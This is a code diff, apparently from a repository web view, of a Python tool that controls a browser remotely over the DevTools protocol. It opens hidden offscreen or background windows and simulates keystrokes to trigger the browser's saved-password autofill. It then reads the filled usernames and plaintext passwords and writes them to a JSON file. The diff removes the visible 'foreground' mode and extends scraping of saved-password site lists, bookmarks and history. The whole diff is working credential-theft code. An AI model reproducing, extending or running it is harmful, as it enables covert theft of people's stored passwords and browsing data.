pos = await value_from_eval(session, pos_expr) or {}
|
||||||
await click(session, float(pos["username_x"]), float(pos["username_y"]))
|
attempts = []
|
||||||
await asyncio.sleep(0.5)
|
result = {}
|
||||||
await key(session, "keyDown", "ArrowDown", "ArrowDown", 40)
|
|
||||||
await key(session, "keyUp", "ArrowDown", "ArrowDown", 40)
|
popup_open = max(popup_open_ms, 0) / 1000.0
|
||||||
await asyncio.sleep(0.2)
|
|
||||||
await key(session, "keyDown", "Enter", "Enter", 13)
|
async def run_keyboard_attempt(
|
||||||
await key(session, "keyUp", "Enter", "Enter", 13)
|
name: str,
|
||||||
await asyncio.sleep(1.0)
|
*,
|
||||||
result = await value_from_eval(session, read_expr) or {}
|
x: float,
|
||||||
|
y: float,
|
||||||
|
opened_from: str,
|
||||||
|
sequence: str,
|
||||||
|
down_type: str = "rawKeyDown",
|
||||||
|
enter_text: str | None = None,
|
||||||
|
) -> bool:
|
||||||
|
nonlocal result
|
||||||
|
info("trying saved-password popup keyboard path {}", name)
|
||||||
|
await click(session, x, y)
|
||||||
|
await asyncio.sleep(popup_open)
|
||||||
|
if debug_hold_after_open_ms > 0:
|
||||||
|
info("holding after {} popup open for {} ms", opened_from, debug_hold_after_open_ms)
|
||||||
|
await asyncio.sleep(debug_hold_after_open_ms / 1000.0)
|
||||||
|
|
||||||
|
await press_key(session, "ArrowDown", "ArrowDown", 40, down_type=down_type)
|
||||||
|
await asyncio.sleep(0.4)
|
||||||
|
after_arrow = await value_from_eval(session, read_expr) or {}
|
||||||
|
|
||||||
|
enter_sent = False
|
||||||
|
if not after_arrow.get("password"):
|
||||||
|
enter_sent = True
|
||||||
|
await press_key(session, "Enter", "Enter", 13, down_type=down_type, text=enter_text)
|
||||||
|
await asyncio.sleep(1.0)
|
||||||
|
result = await value_from_eval(session, read_expr) or {}
|
||||||
|
else:
|
||||||
|
result = after_arrow
|
||||||
|
|
||||||
|
item = {
|
||||||
|
"attempt": name,
|
||||||
|
"username_filled": bool(result.get("username")),
|
||||||
|
"password_filled": bool(result.get("password")),
|
||||||
|
"after_arrow_username_filled": bool(after_arrow.get("username")),
|
||||||
|
"after_arrow_password_filled": bool(after_arrow.get("password")),
|
||||||
|
"enter_sent": enter_sent,
|
||||||
|
"popup_open_ms": popup_open_ms,
|
||||||
|
"opened_from": opened_from,
|
||||||
|
"sequence": sequence,
|
||||||
|
}
|
||||||
|
attempts.append(item)
|
||||||
|
return bool(result.get("password"))
|
||||||
|
|
||||||
|
if not await run_keyboard_attempt(
|
||||||
|
"username-popup-arrow-enter",
|
||||||
|
x=float(pos["username_x"]),
|
||||||
|
y=float(pos["username_y"]),
|
||||||
|
opened_from="username",
|
||||||
|
sequence="click-username, arrow-down, enter-if-needed",
|
||||||
|
):
|
||||||
|
if not await run_keyboard_attempt(
|
||||||
|
"password-popup-arrow-enter",
|
||||||
|
x=float(pos["password_x"]),
|
||||||
|
y=float(pos["password_y"]),
|
||||||
|
opened_from="password",
|
||||||
|
sequence="click-password, arrow-down, enter-if-needed",
|
||||||
|
):
|
||||||
|
if not await run_keyboard_attempt(
|
||||||
|
"username-popup-keydown-arrow-enter",
|
||||||
|
x=float(pos["username_x"]),
|
||||||
|
y=float(pos["username_y"]),
|
||||||
|
opened_from="username",
|
||||||
|
sequence="click-username, keydown-arrow-down, keydown-enter-if-needed",
|
||||||
|
down_type="keyDown",
|
||||||
|
enter_text="\r",
|
||||||
|
):
|
||||||
|
await run_keyboard_attempt(
|
||||||
|
"password-popup-keydown-arrow-enter",
|
||||||
|
x=float(pos["password_x"]),
|
||||||
|
y=float(pos["password_y"]),
|
||||||
|
opened_from="password",
|
||||||
|
sequence="click-password, keydown-arrow-down, keydown-enter-if-needed",
|
||||||
|
down_type="keyDown",
|
||||||
|
enter_text="\r",
|
||||||
|
)
|
||||||
result["autocomplete_user"] = pos.get("autocomplete_user", "")
|
result["autocomplete_user"] = pos.get("autocomplete_user", "")
|
||||||
result["autocomplete_pass"] = pos.get("autocomplete_pass", "")
|
result["autocomplete_pass"] = pos.get("autocomplete_pass", "")
|
||||||
result["initial_username"] = pos.get("initial_username", "")
|
result["initial_username"] = pos.get("initial_username", "")
|
||||||
result["initial_password"] = pos.get("initial_password", "")
|
result["initial_password"] = pos.get("initial_password", "")
|
||||||
|
result["focus_emulation"] = focus_emulation
|
||||||
|
result["initial_page_state"] = state
|
||||||
|
result["field_geometry"] = {
|
||||||
|
key: pos.get(key)
|
||||||
|
for key in (
|
||||||
|
"username_x",
|
||||||
|
"username_y",
|
||||||
|
"username_left",
|
||||||
|
"username_top",
|
||||||
|
"username_right",
|
||||||
|
"username_bottom",
|
||||||
|
"username_width",
|
||||||
|
"username_height",
|
||||||
|
"password_x",
|
||||||
|
"password_y",
|
||||||
|
"password_left",
|
||||||
|
"password_top",
|
||||||
|
"password_right",
|
||||||
|
"password_bottom",
|
||||||
|
"password_width",
|
||||||
|
"password_height",
|
||||||
|
"inner_width",
|
||||||
|
"inner_height",
|
||||||
|
"device_pixel_ratio",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
result["attempts"] = attempts
|
||||||
|
if debug_screenshot:
|
||||||
|
result["debug_screenshot"] = await write_debug_screenshot(session, debug_screenshot)
|
||||||
|
if debug_hold_ms > 0:
|
||||||
|
info("holding autofill target open for {} ms", debug_hold_ms)
|
||||||
|
await asyncio.sleep(debug_hold_ms / 1000.0)
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
await cdp.detach(session)
|
await cdp.detach(session)
|
||||||
finally:
|
finally:
|
||||||
await cdp.close_target(target_id)
|
await cdp.close_target(target_id)
|
||||||
data = {"origin": origin, "mode": mode, "result": result}
|
successful_attempt = next((attempt for attempt in result.get("attempts", []) if attempt.get("password_filled")), None)
|
||||||
dump_json(data, out)
|
compact = {
|
||||||
|
"url": result.get("url", origin),
|
||||||
|
"mode": mode,
|
||||||
|
"success": bool(result.get("password")),
|
||||||
|
"username": result.get("username", ""),
|
||||||
|
"password": result.get("password", ""),
|
||||||
|
"attempt": successful_attempt.get("attempt") if successful_attempt else None,
|
||||||
|
"opened_from": successful_attempt.get("opened_from") if successful_attempt else None,
|
||||||
|
}
|
||||||
|
if debug_screenshot and result.get("debug_screenshot"):
|
||||||
|
compact["debug_screenshot"] = result["debug_screenshot"]
|
||||||
|
|
||||||
|
data = {
|
||||||
|
"origin": origin,
|
||||||
|
"mode": mode,
|
||||||
|
"window": {
|
||||||
|
"left": window_left,
|
||||||
|
"top": window_top,
|
||||||
|
"width": width,
|
||||||
|
"height": height,
|
||||||
|
"actual_bounds": actual_window_bounds,
|
||||||
|
},
|
||||||
|
"result": result,
|
||||||
|
}
|
||||||
|
dump_json(data if full else compact, out)
|
||||||
|
|
||||||
run(_run())
|
run(_run())
|
||||||
|
|
||||||
|
|||||||
@@ -64,8 +64,8 @@ class RemoteBrowserServer:
|
|||||||
self._started_at = time.time()
|
self._started_at = time.time()
|
||||||
|
|
||||||
async def start(self) -> None:
|
async def start(self) -> None:
|
||||||
if self.options.mode not in {"offscreen", "foreground", "background"}:
|
if self.options.mode not in {"offscreen", "background"}:
|
||||||
raise ValueError("--mode must be offscreen, foreground, or background")
|
raise ValueError("--mode must be offscreen or background")
|
||||||
|
|
||||||
self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks)
|
self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks)
|
||||||
await self._create_target()
|
await self._create_target()
|
||||||
@@ -124,18 +124,17 @@ class RemoteBrowserServer:
|
|||||||
params: dict[str, Any] = {"url": "about:blank"}
|
params: dict[str, Any] = {"url": "about:blank"}
|
||||||
if self.browser_context_id:
|
if self.browser_context_id:
|
||||||
params["browserContextId"] = self.browser_context_id
|
params["browserContextId"] = self.browser_context_id
|
||||||
if self.options.mode in {"offscreen", "foreground"}:
|
if self.options.mode == "offscreen":
|
||||||
params.update(
|
params.update(
|
||||||
{
|
{
|
||||||
"newWindow": True,
|
"newWindow": True,
|
||||||
"width": self.options.width,
|
"width": self.options.width,
|
||||||
"height": self.options.height,
|
"height": self.options.height,
|
||||||
"background": self.options.mode == "offscreen",
|
"background": True,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
if self.options.mode == "offscreen":
|
params["left"] = self.options.offscreen_left
|
||||||
params["left"] = self.options.offscreen_left
|
params["top"] = self.options.offscreen_top
|
||||||
params["top"] = self.options.offscreen_top
|
|
||||||
elif self.options.mode == "background":
|
elif self.options.mode == "background":
|
||||||
params["background"] = True
|
params["background"] = True
|
||||||
|
|
||||||
@@ -144,7 +143,7 @@ class RemoteBrowserServer:
|
|||||||
self.target_id = result["targetId"]
|
self.target_id = result["targetId"]
|
||||||
self.session = await self.cdp.attach(self.target_id)
|
self.session = await self.cdp.attach(self.target_id)
|
||||||
|
|
||||||
if self.options.mode in {"offscreen", "foreground"}:
|
if self.options.mode == "offscreen":
|
||||||
with contextlib.suppress(Exception):
|
with contextlib.suppress(Exception):
|
||||||
window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id})
|
window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id})
|
||||||
self.window_id = int(window["windowId"])
|
self.window_id = int(window["windowId"])
|
||||||
@@ -153,9 +152,8 @@ class RemoteBrowserServer:
|
|||||||
"height": self.options.height,
|
"height": self.options.height,
|
||||||
"windowState": "normal",
|
"windowState": "normal",
|
||||||
}
|
}
|
||||||
if self.options.mode == "offscreen":
|
bounds["left"] = self.options.offscreen_left
|
||||||
bounds["left"] = self.options.offscreen_left
|
bounds["top"] = self.options.offscreen_top
|
||||||
bounds["top"] = self.options.offscreen_top
|
|
||||||
await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds})
|
await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds})
|
||||||
|
|
||||||
async def _enable_target(self) -> None:
|
async def _enable_target(self) -> None:
|
||||||
@@ -176,9 +174,6 @@ class RemoteBrowserServer:
|
|||||||
"screenHeight": self.options.height,
|
"screenHeight": self.options.height,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
if self.options.mode == "foreground":
|
|
||||||
with contextlib.suppress(Exception):
|
|
||||||
await self.session.send("Page.bringToFront")
|
|
||||||
await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)})
|
await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)})
|
||||||
await self.session.send(
|
await self.session.send(
|
||||||
"Page.startScreencast",
|
"Page.startScreencast",
|
||||||
|
|||||||
+16
-11
@@ -9,8 +9,9 @@ from .log import info
|
|||||||
|
|
||||||
|
|
||||||
HOST_RE = re.compile(
|
HOST_RE = re.compile(
|
||||||
r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9-]+(?:\.[a-z0-9-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)"
|
r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9_-]+(?:\.[a-z0-9_-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)"
|
||||||
)
|
)
|
||||||
|
ACCOUNT_COUNT_RE = re.compile(r"(?i)^(\d+)\s+accounts?$")
|
||||||
EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I)
|
EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I)
|
||||||
VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$")
|
VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$")
|
||||||
|
|
||||||
@@ -503,7 +504,7 @@ async def collect_password_sites(
|
|||||||
cdp: CDPClient,
|
cdp: CDPClient,
|
||||||
*,
|
*,
|
||||||
limit: int,
|
limit: int,
|
||||||
mode: str = "hidden",
|
mode: str = "visible",
|
||||||
) -> list[dict[str, Any]]:
|
) -> list[dict[str, Any]]:
|
||||||
async def action(session) -> list[dict[str, Any]]:
|
async def action(session) -> list[dict[str, Any]]:
|
||||||
await _wait_for_true(session, PASSWORD_READY_JS, attempts=20)
|
await _wait_for_true(session, PASSWORD_READY_JS, attempts=20)
|
||||||
@@ -514,6 +515,13 @@ async def collect_password_sites(
|
|||||||
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
||||||
return parse_password_sites(raw, limit)
|
return parse_password_sites(raw, limit)
|
||||||
|
|
||||||
|
try:
|
||||||
|
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
|
||||||
|
except Exception as exc: # noqa: BLE001 - WebUI DOM fallback.
|
||||||
|
info(f"falling back to generic password WebUI scrape: {exc}")
|
||||||
|
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
||||||
|
return parse_password_sites(raw, limit)
|
||||||
|
|
||||||
|
|
||||||
def flatten_bookmarks(
|
def flatten_bookmarks(
|
||||||
tree: list[dict[str, Any]],
|
tree: list[dict[str, Any]],
|
||||||
@@ -594,14 +602,6 @@ async def collect_bookmarks(
|
|||||||
raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode)
|
raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode)
|
||||||
return parse_bookmarks(raw, text=text, domain=domain, limit=limit)
|
return parse_bookmarks(raw, text=text, domain=domain, limit=limit)
|
||||||
|
|
||||||
try:
|
|
||||||
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
|
|
||||||
except Exception as exc: # noqa: BLE001 - Edge WebUI fallback.
|
|
||||||
info(f"falling back to generic password WebUI scrape: {exc}")
|
|
||||||
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
|
|
||||||
return parse_password_sites(raw, limit)
|
|
||||||
|
|
||||||
|
|
||||||
def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]:
|
def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]:
|
||||||
query = (text or "").lower()
|
query = (text or "").lower()
|
||||||
domain_l = (domain or "").lower()
|
domain_l = (domain or "").lower()
|
||||||
@@ -733,8 +733,13 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
|
|||||||
if site.lower() in seen:
|
if site.lower() in seen:
|
||||||
continue
|
continue
|
||||||
username = None
|
username = None
|
||||||
|
entry_count = None
|
||||||
for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]:
|
for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]:
|
||||||
neighbor_l = neighbor.lower()
|
neighbor_l = neighbor.lower()
|
||||||
|
account_match = ACCOUNT_COUNT_RE.match(neighbor)
|
||||||
|
if account_match:
|
||||||
|
entry_count = int(account_match.group(1))
|
||||||
|
continue
|
||||||
if (
|
if (
|
||||||
neighbor_l in CONTROL_LINES
|
neighbor_l in CONTROL_LINES
|
||||||
or neighbor_l.startswith("--")
|
or neighbor_l.startswith("--")
|
||||||
@@ -746,7 +751,7 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
|
|||||||
username = neighbor
|
username = neighbor
|
||||||
break
|
break
|
||||||
seen.add(site.lower())
|
seen.add(site.lower())
|
||||||
out.append({"site": site, "username": username, "source_url": raw.get("url")})
|
out.append({"site": site, "username": username, "entry_count": entry_count, "source_url": raw.get("url")})
|
||||||
if len(out) >= limit:
|
if len(out) >= limit:
|
||||||
break
|
break
|
||||||
return out
|
return out
|
||||||
|
|||||||
Reference in New Issue
Block a user